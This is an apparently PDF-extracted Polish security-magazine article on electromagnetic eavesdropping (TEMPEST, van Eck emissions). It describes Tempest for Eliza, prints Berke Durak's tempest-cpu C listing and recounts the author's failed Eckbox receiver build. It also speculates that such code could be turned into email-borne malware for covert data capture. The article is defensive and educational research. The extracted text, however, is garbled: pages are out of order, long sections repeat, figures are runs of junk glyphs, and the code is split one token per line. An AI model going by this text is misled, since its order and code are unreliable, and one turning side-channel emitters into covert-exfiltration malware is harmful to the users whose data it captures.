Techniki  nieinwazyjne  –  jak  su-

geruje  nazwa  –  nie  zmuszają  nas 
do  wstrzykiwania  kodu  programu 
do  komputera-ofiary.  Nieinwazyj-
ność  tych  metod  polega  na  wyko-
rzystaniu niepożądanej emisji elek-

tromagnetycznej generowanej stan-
dardowo  przez  urządzenia  kompu-
terowe. Prekursorem w tej dziedzi-
nie  –  a  jednocześnie  naukowcem, 
który upublicznił informacje o moż-
liwości  podsłuchu  elektromagne-
tycznego  –  był  wcześniej  wspo-
mniany Wim van Eck.

Podsłuchiwać możemy przeróż-

ne  sygnały  emitowane  przez  wie-
le  podzespołów  komputerowych 
–  od  urządzeń  komunikujących  się 
z komputerem bezprzewodowo, ta-
kich  jak  myszy,  klawiatury,  drukar-
ki itp., aż po te, które są połączone 
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć 
zasilających  w  zasilaczach  kom-
puterowych  część  informacji  mo-

że przedostawać się do sieci elek-
troenergetycznej i tam może zostać 
przechwycona.

W  roku  1990  Peter  Smulders 

opublikował wyniki badań nad prze-
chwytywaniem  informacji  z  ulotu 
elektromagnetycznego  kabli  łączą-
cych  interfejsy  RS-232,  na  podsta-
wie  których  możemy  przypuszczać, 
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo,  jest  narażony  na  podsłu-
chanie.

Budujemy urządzenie 

W  związku  z  tym,  że  najsilniejsze 
sygnały  emitowane  są  przez  mo-
nitory  CRT,  a  zaraz  po  nich  LCD, 
postanowiłem  przeprowadzić  wła-
sne  badania,  budując  odpowiednie 
urządzenie.  Zaczerpnąłem  podsta-
wowe informacje ze strony projektu 
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika  radiowego  czy  też  innego 
transceivera,  którym  będę  próbo-
wać  odebrać  sygnały  emitowane 
przez monitory testowe.

Rozpoczynając  pracę  nad  bu-

dową  pierwszego  układu,  podcho-
dziłem do całej sprawy nieco scep-
tycznie  –  jednak  z  odrobiną  na-
dziei, że się uda. Do swojego eks-
perymentu  wykorzystałem  odbior-
nik  radiowy  w  zakresie  pasma  fal 
długich, krótkich oraz UKF, a także 
transceiver  Zodiac  Tokyo,  pracują-
cy w zakresie 25-29MHz. Nasłuchy 
prowadziłem  w  modulacji  AM  oraz 
FM. Jak wiemy, sygnały nadawane 
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi  częstotliwości  nośnej.  Liczyłem 
więc,  że  gdzieś  w  końcu  usłyszę 
i zobaczę to, co chcę.

Na  Rysunku  6.  widać  schemat 

blokowy  połączeń  poszczególnych 
elementów zestawu.

W swoim eksperymencie wyko-

rzystywałem  radioodbiornik  wypo-
sażony  w  standardową  antenę  fer-
rytową  oraz  zewnętrzną  telesko-
pową.  Oprócz  tego  w  przypadku 
transceivera  Zodiac  Tokyo  korzy-

Rysunek 6. 

Eksperymentalny zestaw do podsłuchu elektromagnetycznego 

(Eckbox)

����������

����������������������

������

�������������������������

������

���������������

�����������������

���������������

Rysunek 7. 

Schemat ideowy urządzenia Eckbox

���

�����

���

����

�������������������������

��

��

��

�����������������

�����

����

�����

�����������������������
�����������������������

��
��
��
��
��
��
��
��

��

��

��

��

��

��

��

��

��

��

���

��

��

��

������

����

����

����

�����

��

��

��

��

��

��

��

��

���

��

��

����

��

����

��

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

27

stałem z anteny dookólnej pętlowej 
LoopSkywire oraz anteny kierunko-
wej  MagLoop  własnej  konstrukcji. 
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.

Do  zbudowania  interfejsu  urzą-

dzenia  dla  portu  LPT  (według  infor-
macji  ze  strony  http://eckbox.source-
forge.net
),  potrzebujemy  układu  sca-
lonego do konwersji sygnału analogo-
wego  z  odbiornika  radiowego  na  sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie 
przetwornika analogowo-cyfrowego o 
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym. 
Układy  scalone,  które  można  wyko-
rzystać  do  tego  celu,  są  dostępne 
w każdym lub prawie każdym sklepie 
z podzespołami elektronicznymi.

Dodatkowo  będziemy  potrzebo-

wali  kilku  rezystorów,  kondensatorów 
i diod. Przeszukując sklepy natrafiłem 
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie  parametry  elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam 
schemat  układu,  który  zbudowałem, 
korzystając  z  informacji  zawartych 
w nocie aplikacyjnej układu ADC0804 
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.

Po  zmontowaniu  elektronicznej 

części  układu  przystąpiłem  do  połą-
czenia  wszystkich  elementów  zesta-
wu podsłuchowego – tak, jak widać na 
Rysunku 5.

Program  eckbox  po  skompilowa-

niu  (wraz  z  odpowiednimi  bibliote-
kami – svgalib oraz modułem svga-
lib_helper)  uruchamia  się,  począt-
kowo  wyświetlając  tylko  czarny 
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają  się  przesuwające  się  po-
ziome  linie  –  co  przedstawia  Ry-
sunek 8. 

Urządzenie nie wyświetla tego, 

na  co  oczekiwałem,  ponieważ  za-
stosowany  układ  ADC0804  prze-
nosi  sygnały  o  częstotliwościach 
do  10  kHz.  Przeoczyłem  ten  waż-
ny  parametr  podczas  wyszukiwa-
nia  odpowiedniego  układu.  Ponie-
waż  w  technice  nieinwazyjnej  za-
kładamy,  że  nie  mamy  możliwości 
wymuszenia  częstotliwości,  na  ja-
kiej  monitor  emituje  sygnał,  musi-
my  próbować  odebrać  go  na  czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych  (założyłem  zakres  od  10 
do 30 MHz).

Zbudowałem  więc  kolejny  eg-

zemplarz oparty o układ ADC, mo-

gący  pracować  z  częstotliwościa-
mi  sygnału  wejściowego  rzędu  18 
Mhz,  który  teoretycznie  powinien 
się sprawdzić lepiej – czyli HI1175 
firmy Intersil. Niestety, okazało się, 
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ 
powinien  działać  na  częstotliwości 
pasma radiowego FM 108MHz.

Taka częstotliwość sugeruje, że 

program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock  w  kartach  graficznych. 
Dość  trudne  jest  zdobycie  ukła-
du  ADC  pracującego  z  sygnałami 
wejściowymi  o  takich  częstotliwo-
ściach.

Licząc,  że  uda  mi  się  podsłu-

chać coś na częstotliwościach har-
monicznych,  postanowiłem  naj-
pierw  zbudować  kolejne  ukła-
dy,  umożliwiające  pracę  na  wyż-
szych  częstotliwościach.  Kolejne 
urządzenie,  zbudowane  w  oparciu 
o  układ  HI2302  (także  firmy  Inter-
sil), podczas pierwszych testów nie 
chciało działać – czego przyczyną 
okazało  się  zaniżone  napięcie  za-
silające. Ponieważ urządzenie jest 
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał  się  nią  zewnętrzny  dysk  twar-
dy podłączony do komputera, który 

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

28

pobierając  prąd  rzędu  500mA  (czyli 
maksymalny  możliwy  według  specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na 
szynie  USB  wróciło  do  poziomu  5V, 
a urządzenie zaczęło pracować.

Niestety, nie powiodło mi się rów-

nież  tym  razem.  Układ  teoretycz-
nie pozwala na odbieranie sygnałów 
o  częstotliwości  100MHz.  Program 
Eckbox, pomimo tego, że wyświetlał 
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.

Brak  pozytywnego  wyniku  działa-

nia urządzenia i programu Eckbox wca-

le nie spowodował w moim przypadku 
zmiany zdania na temat problemu ulotu 
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.

Powodem  niepowodzenia  mogą 

być  zarówno  błędy  w  projektowaniu 

urządzenia,  jak  i  sam  program,  któ-
ry  ostatnich  poprawek  doczekał  się 
w  roku  jego  powstania  (2004).  Od 
tamtego czasu na stronie projektu nic 
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki 
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić. 

Podsumowanie

Po analizie pokaźnych zasobów infor-
macji  na  temat  ulotu  elektromagne-
tycznego,  znajdujących  się  między 
innymi w Internecie, oraz po przepro-
wadzonych  testach  programów  Erika 
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią, 
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach 
i  instytucjach  przetwarzających  waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania 
sygnałów  nadawanych  z  premedyta-
cją – i to na niewielkie odległości, nie 
można  lekceważyć  istoty  problemu, 
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych.  Nieudana  próba  podsłuchania 
emisji ujawniającej przy pomocy pro-
stych  w  budowie  urządzeń  nie  prze-
czy  temu,  że  sam  fakt  takiego  pod-
słuchu  jest  możliwy.  Przy  odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym  prawdopodobieństwem  pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka 
(lub nawet lepiej). Mam nadzieję, że po 
przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia 
podsłuchu elektromagnetycznego tak 
samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem 
systemów informatycznych. l

Rysunek 9. 

Obraz odbierany przez kolejny układ (HI2302)

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym. 
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl

Rysunek 8. 

Wynik pracy urządzenia i programu Eckbox 

background image
background image

www.hakin9.org

hakin9 Nr 3/2008

22

Atak

E

misja ujawniająca (ang. compromising 
emanation
),  nazywana  także  ulotem 
elektromagnetycznym, to zjawisko wy-

stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm  jest  zjawiskiem  bardzo  przydat-
nym, to w przypadku emisji ujawniającej jest 
dokładnie  odwrotnie.  Każdy  podzespół  kom-
putera,  przetwarzając  dane,  emituje  część 
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.

Fakty czy mity

W marcu roku 2004 w Internecie powstał projekt 
nazwany Eckbox  (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.

Jest  to  jedyny  projekt  open  source  teo-

retycznie  pozwalający  wykorzystywać  tech-
nikę  podsłuchu  elektromagnetycznego.  Z 
premedytacją  używam  słowa  teoretycznie
ponieważ  nie  udało  mi  się  znaleźć  potwier-
dzenia faktu działania tego urządzenia i pro-
gramu.  Projekt  powstał  na  bazie  badań  i  ar-
tykułu  napisanego  przez  Wima  van  Ecka, 
holenderskiego  naukowca  z  Neher  Labora-

tories.  Skonstruowane  i  opisane  przez  nie-
go  urządzenie  było  odbiornikiem  fal  elektro-
magnetycznych,  podłączonym  do  komputera 
za pomocą specjalnie przerobionego odbior-
nika  telewizyjnego  oraz  pozwalało  na  prze-
chwycenie  informacji  wyświetlanych  na  mo-
nitorze katodowym CRT. Było to rozwiązanie 
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox
 jest o wiele prostszą wersją tego 
rozwiązania – co wcale nie musi oznaczać, że 
mniej funkcjonalną. Autorzy projektu napisali 

Podsłuch 

elektromagnetyczny

Grzegorz Błoński

stopień trudności

 W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten 

szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń 

podsłuchowych, mini-nadajników zwanych pluskwami – lecz to 

nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie. 

Nie należy zapominać, że podsłuchać można nie tylko człowieka, 

ale także komputer i to, co w nim najcenniejsze dla właściciela.

Z artykułu dowiesz się

•   co to jest emisja ujawniająca, 
•   co to jest ulot elektromagnetyczny,
•   czy można wykorzystać te zjawiska do podsłu-

chiwania.

Co powinieneś wiedzieć

•   znać podstawy zjawiska elektromagnetyzmu,
•   znać system Linux i umieć pracować w konsoli,
•   umieć posługiwać się lutownicą,
•   znać podstawy budowy układów elektronicznych.

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

23

program, który – korzystając z por-
tu  równoległego  w  komputerze  PC 
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony 
do  komputera  za  pomocą  specjal-
nego  interfejsu  wykorzystującego 
przetwornik analogowo-cyfrowy.

Problem  ulotu  elektromagne-

tycznego  dotyczy  każdego  urzą-
dzenia  komputerowego,  a  mimo  to 
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa  swoim  wrażliwym  da-
nym.  W  agencjach  i  instytucjach 
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane 
do utrzymania określonych informa-
cji w ścisłej tajemnicy.

W USA powstał w latach sześć-

dziesiątych  projekt  nazwany  TEM-
PEST  (Transient  ElectroMagnetic 
Pulse  Emanation  STandard
),  któ-
ry  określa  dopuszczalne  poziomy 
niepożądanych  emisji  fal  elektro-
magnetycznych.  Projekt  uwzględ-
nia  trzy  klasy  (poziomy)  bezpie-
czeństwa:

•   Level 1 – AMSG 720 B,
•   Level 2 – AMSG 788,
•   Level 3 – AMSG 784.

Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST  są  sprzedawane  na  terenie 
państw  członkowskich  NATO.  Jed-
nak,  aby  móc  takie  urządzenie  na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.

Po  dokładniejsze  informacje  na 

temat  programu  TEMPEST  odsyłam 
do  Internetu,  na  przykład  na  stronę 
www.iniejawna.pl.

Technikalia

Rozpatrując  możliwości  podsłu-
chania  komputera  przy  wykorzy-
staniu  kompromitujących  emana-
cji,  mamy  możliwość  zastosowa-
nia  technik  inwazyjnych  oraz  nie-
inwazyjnych.

Techniki inwazyjne mogą opierać 

się na wstrzyknięciu w system-ofia-
rę  oprogramowania,  działającego 
w  taki  sposób,  że  bez  wiedzy  użyt-
kownika  będzie  wykorzystywało 
układy  elektroniczne  komputera  ja-

ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.

Przykładem  wykorzystania  ta-

kiej  techniki  jest  program  au-
torstwa  Erika  Thiele,  nazwa-
ny  dźwięcznie  Tempest  for  Eliza 
(http://www.erikyyy.de/tempest). 
Program  ten  pozwala  –  przy  wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-

łać muzykę w eter – można ją ode-
brać  na  standardowym  radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.

Do  wydania  odpowiedniej  ko-

mendy  potrzebne  są  nam  parame-
try  naszego  podsystemu  graficzne-
go, takie jak:

•   częstotliwość  rysowania  piksela 

(Pixel Clock),

Listing 1. 

Program tempest-cpu autorstwa Berke Duraka

#include 

<stdlib.h>

#include 

<stdio.h>

typedef

 

unsigned

 

char

 

u8

;

#define BUF_SIZE (1<<18)

void

 

tempest_cpu_pattern

 

(

int

 

count

volatile

 

int

 

*

buf

int

 

a

int

 

b

)

{

   

int

 

i

j

;

   

int

 

x1

x2

x3

x4

;

   

x1

 

=

 

0

;

 

x2

 

=

 

0

;

 

x3

 

=

 

0

;

 

x4

 

=

 

0

;

   

i

 

=

 

0

;

   

while

 

(

count

 

--)

 

{

      

for

 

(

j

 

=

 

0

;

 

j

<

a

;

 

j

++)

 

{

         

x1

 ^

=

 

0x55330fff

 

+

 

i

;

         

x1

 

<<=

 

1

;

         

buf

[

i

]

 

=

 

x1

;

         

if

 

(++

 

i

 

==

 

BUF_SIZE

)

 

i

 

=

 

0

;

      

}

      

for

 

(

j

 

=

 

0

;

 

j

<

b

;

 

j

++)

 

{

         

asm

 

(

"nop"

);

 

/* this instruction is available on nearly every CPU :

) */

      

}

   

}

}

int

 

main

 

(

int

 

argc

char

 

**

argv

)

{

   

int

 

count1

count2

;

   

int

 

a1

b1

;

   

int

 

a2

b2

;

   

int

 

*

c

;

   

int

 

a

b

;

   

if

 

(

argc

 

!=

 

7

)

 

{

      

fprintf

 

(

stderr

"usage: %s a_low b_low a_high b_high count_low 

count_high

\n

"

);

      

exit

 

(

EXIT_FAILURE

);

   

}

   

a1

 

=

 

atoi

 

(

argv

[

1

]);

   

b1

 

=

 

atoi

 

(

argv

[

2

]);

   

a2

 

=

 

atoi

 

(

argv

[

3

]);

   

b2

 

=

 

atoi

 

(

argv

[

4

]);

   

count1

 

=

 

atoi

 

(

argv

[

5

]);

   

count2

 

=

 

atoi

 

(

argv

[

6

]);

   

c

 

=

 

malloc

 

(

BUF_SIZE

 

*

 

sizeof

 

(

int

));

   

for

 

(;;)

 

{

      

for

 

(

a

 

=

 

a1

b

 

=

 

b1

;

 

a

 

<

 

a2

 

&&

 

b

 

<

 

b2

;

 

a

 

+=

 

(

a2

 

-

 

a1

)

 

>>

 

4

b

 

+=

 

(

b2

 

-

 

b1

)

 

>>

4

)

 

{

         

tempest_cpu_pattern

 

(

count1

c

a

b

);

      

}

   

}

   

return

 

0

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

24

•   rozdzielczość  pozioma  (HDi-

splay),

•   rozdzielczość  pionowa  (VDi-

splay),

•   całkowita rozdzielczość pozioma 

(HTotal).

Po  wydaniu  przykładowego  pole-
cenia:

#./tempest_for_eliza 108000000  1280
  1024  1688  10000000  songs/starwars

program  użyje  wartości  108MHz 
jako  częstotliwości  rysowania  pik-
sela,  rozdzielczości  okna  1280  x 
1024  oraz  wartości  HTotal  równej 
1688  pikseli.  Kolejne  parametry  to 
10MHz  (jako  częstotliwość  nośna, 
na której będzie emitowany dźwięk) 
i  wreszcie  ścieżka  do  pliku  dźwię-
kowego.  Na  ekranie  monitora  po-
jawi  się  dynamicznie  zmieniający 
się obraz czarno-białych linii pozio-
mych,  których  grubość  i  szybkość 
zmian  uwarunkowana  jest  odtwa-
rzanym z pliku dźwiękiem.

Dźwięki emitowane przez moni-

tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym  odbiorniku  radiowym 
w zakresie fal krótkich w okolicach 
częstotliwości  10MHz  nadawa-
ny  dźwięk  bardzo  dobrze  słychać. 
Oprócz  tej  częstotliwości  odebra-
łem emitowane dźwięki za pomocą 
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455 
MHz, 26,755 MHz, 27,755 MHz oraz 
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej 
z wymienionych częstotliwości. Od-
ległość  anteny  wynosiła  początko-
wo jeden metr – w tych warunkach 

siła  sygnału  była  na  poziomie  3µV 
do  6µV  (według  wskazań  transce-
ivera  Zodiac  Tokyo),  bez  względu 
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła 
sygnału spadła do poziomu 0,39µV. 
Dźwięki  nadal  były  słyszalne,  lecz 
towarzyszyły  im  wyraźne  szumy, 
których intensywność zmieniała się 
w zależności od polaryzacji anteny. 
Podczas pomiarów używałem ante-
ny MagLoop. 

Przy okazji tych eksperymentów 

odkryłem,  że  podłączone  do  kom-
putera urządzenia typu KVM (Key-
board  Video  Mouse
)  w  trakcie  te-
stów emitują tak silnie wzmocnione 
sygnały  z  karty  graficznej,  że  bez 
problemu  mogłem  odebrać  czyste, 
słyszalne  dźwięki  w  pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła  sygnału  była  tak  duża,  że  wskaź-
nik transceivera Zodiac Tokyo wska-
zywał  50µV!  Sugeruje  to,  że  sygnał 
mógł być swobodnie odebrany w bar-
dzo  dużej  odległości,  przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów. 

W  związku  z  tym  faktem  uwa-

żam,  że  używanie  przełączników 
KVM w systemach komputerowych 
zawierających dane tajne lub wraż-
liwe  jest  bardzo  ryzykowne.  Prze-
łącznik, którego używałem, to dzie-
ło  firmy  D-link  (model  DKVM-2K) 

który,  jako  urządzenie  pozwalają-
ce  na  korzystanie  z  jednego  ze-
stawu  klawiatury,  myszy  i  monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym 
przeznaczeniem.  Bardzo  możliwe, 
że  jest  na  rynku  sporo  przełączni-
ków  pozbawionych  takiej  przypa-
dłości
. Jednak tak czy inaczej, za-
nim  ktoś  zechce  użyć  jakiegokol-
wiek przełącznika, powinien się za-
stanowić  nad  niechcianym  dodat-
kiem  
w  postaci  dużej  emisji  niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.

Erik Thiele bazował przy pracy 

nad  swoim  programem  na  innym 
projekcie  (autorstwa  Pekki  Riiko-
nena), który potrafił tylko emitować 
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło  już  więcej  programów  wykorzy-
stujących  zjawisko  niepożądane-
go  ulotu  elektromagnetycznego 
w  komputerach.  Autorem  kilku  ta-
kich  narzędzi  jest  Berke  Durak 
(http://abaababa.ouvaton.org/tem-
pest
).  Jego  programy  wykorzystu-
ją do ukrytej transmisji danych dro-
gą  radiową  zarówno  wewnętrzne, 
jak i zewnętrzne podzespoły kom-
putera.

Pierwszym  programem  Ber-

ke  Duraka,  o  najmniej  skompliko-
wanej budowie (Listing 1) jest tem-

Rysunek 2. 

Ekran monitora podczas pracy programu Tempest for Eliza

Rysunek 1. 

Rozkład pola 

elektromagnetycznego wokół 
odcinka przewodnika prądu 

�������������

��������������������

������������������

�����

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

25

pest-cpu.  Program działający w linii 
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj 
przesyłanych  dźwięków,  wysokość 
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do 
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko 
wykryta.  Jest  jednak  dobrym  przy-
kładem  potwierdzającym  fakt  ist-
nienia zjawiska ulotu elektromagne-
tycznego.  Procesor  emituje  niezbyt 
silne  pole  elektromagnetyczne,  jed-
nak  jest  ono  możliwe  do  odebrania 
w odległości do dwóch metrów przy 
pomocy  zwykłego  radioodbiornika 
na  fale  długie,  przy  czym  odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje 
pochodzące  od  innych  pracujących 
w komputerze podzespołów.

Kolejny program tempest-crt tego 

samego  autora  wykorzystuje  –  po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz 
tempest-mem  –  wykorzystują  ja-
ko nadajnik odpowiednio szynę PCI 
(i urządzenia na niej pracujące) oraz 
pamięć operacyjną. Ich przydatność 
do  wykorzystania  w  ataku  jest  rów-
nież  niewielka,  ponieważ  pole  elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo 
słabsze  niż  wytwarzane  przez  mo-
nitory  (w  szczególności  CRT,  choć 
LCD  także  charakteryzują  się  dość 
pokaźnym niepożądanym ulotem).

W  tym  momencie  należy  wspo-

mnieć,  że  urządzenia  pracujące  na 
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach  serwerowych  –  także 
emitują  dość  silne  pola  elektroma-

gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI 
i w przypadku braku odpowiedniego 
ekranowania dają możliwość podsłu-
chania z dużej odległości.

Programy Duraka są niezaprze-

czalnym potwierdzeniem, że można 
wykorzystać  podzespoły  kompute-
ra  w  celu  wysyłania  informacji  po-

przez zastosowanie odpowiedniego 
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy 
programów  Duraka,  teoretycznie 
może  napisać  aplikację,  która  po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej  modyfikacji  programu 

Rysunek 3. 

Transceiver Zodiac 

Tokyo w czasie odbierania sygnału 

Rysunek 4. 

Program Tempest for Eliza po zakończeniu pracy

Rysunek 5. 

Widok zmontowanego urządzenia

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

26

można go dodać jako załącznik do 
maila, który automatycznie się uru-
chomi,  jeśli  nieuważny  internauta 
w  niego  kliknie.  Choć  dotychczas 
nie  ujawniono  wirusa  czy  innego 
złośliwego  kodu  wykorzystujące-
go taką technikę do przechwycenia 
informacji,  uważam,  że  zagrożenie 
związane z takimi atakami jest dość 
duże. Całkiem możliwe, że już ktoś 
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie 
wiemy.

Techniki  nieinwazyjne  –  jak  su-

geruje  nazwa  –  nie  zmuszają  nas 
do  wstrzykiwania  kodu  programu 
do  komputera-ofiary.  Nieinwazyj-
ność  tych  metod  polega  na  wyko-
rzystaniu niepożądanej emisji elek-

tromagnetycznej generowanej stan-
dardowo  przez  urządzenia  kompu-
terowe. Prekursorem w tej dziedzi-
nie  –  a  jednocześnie  naukowcem, 
który upublicznił informacje o moż-
liwości  podsłuchu  elektromagne-
tycznego  –  był  wcześniej  wspo-
mniany Wim van Eck.

Podsłuchiwać możemy przeróż-

ne  sygnały  emitowane  przez  wie-
le  podzespołów  komputerowych 
–  od  urządzeń  komunikujących  się 
z komputerem bezprzewodowo, ta-
kich  jak  myszy,  klawiatury,  drukar-
ki itp., aż po te, które są połączone 
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć 
zasilających  w  zasilaczach  kom-
puterowych  część  informacji  mo-

że przedostawać się do sieci elek-
troenergetycznej i tam może zostać 
przechwycona.

W  roku  1990  Peter  Smulders 

opublikował wyniki badań nad prze-
chwytywaniem  informacji  z  ulotu 
elektromagnetycznego  kabli  łączą-
cych  interfejsy  RS-232,  na  podsta-
wie  których  możemy  przypuszczać, 
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo,  jest  narażony  na  podsłu-
chanie.

Budujemy urządzenie 

W  związku  z  tym,  że  najsilniejsze 
sygnały  emitowane  są  przez  mo-
nitory  CRT,  a  zaraz  po  nich  LCD, 
postanowiłem  przeprowadzić  wła-
sne  badania,  budując  odpowiednie 
urządzenie.  Zaczerpnąłem  podsta-
wowe informacje ze strony projektu 
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika  radiowego  czy  też  innego 
transceivera,  którym  będę  próbo-
wać  odebrać  sygnały  emitowane 
przez monitory testowe.

Rozpoczynając  pracę  nad  bu-

dową  pierwszego  układu,  podcho-
dziłem do całej sprawy nieco scep-
tycznie  –  jednak  z  odrobiną  na-
dziei, że się uda. Do swojego eks-
perymentu  wykorzystałem  odbior-
nik  radiowy  w  zakresie  pasma  fal 
długich, krótkich oraz UKF, a także 
transceiver  Zodiac  Tokyo,  pracują-
cy w zakresie 25-29MHz. Nasłuchy 
prowadziłem  w  modulacji  AM  oraz 
FM. Jak wiemy, sygnały nadawane 
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi  częstotliwości  nośnej.  Liczyłem 
więc,  że  gdzieś  w  końcu  usłyszę 
i zobaczę to, co chcę.

Na  Rysunku  6.  widać  schemat 

blokowy  połączeń  poszczególnych 
elementów zestawu.

W swoim eksperymencie wyko-

rzystywałem  radioodbiornik  wypo-
sażony  w  standardową  antenę  fer-
rytową  oraz  zewnętrzną  telesko-
pową.  Oprócz  tego  w  przypadku 
transceivera  Zodiac  Tokyo  korzy-

Rysunek 6. 

Eksperymentalny zestaw do podsłuchu elektromagnetycznego 

(Eckbox)

����������

����������������������

������

�������������������������

������

���������������

�����������������

���������������

Rysunek 7. 

Schemat ideowy urządzenia Eckbox

���

�����

���

����

�������������������������

��

��

��

�����������������

�����

����

�����

�����������������������
�����������������������

��
��
��
��
��
��
��
��

��

��

��

��

��

��

��

��

��

��

���

��

��

��

������

����

����

����

�����

��

��

��

��

��

��

��

��

���

��

��

����

��

����

��

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

27

stałem z anteny dookólnej pętlowej 
LoopSkywire oraz anteny kierunko-
wej  MagLoop  własnej  konstrukcji. 
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.

Do  zbudowania  interfejsu  urzą-

dzenia  dla  portu  LPT  (według  infor-
macji  ze  strony  http://eckbox.source-
forge.net
),  potrzebujemy  układu  sca-
lonego do konwersji sygnału analogo-
wego  z  odbiornika  radiowego  na  sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie 
przetwornika analogowo-cyfrowego o 
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym. 
Układy  scalone,  które  można  wyko-
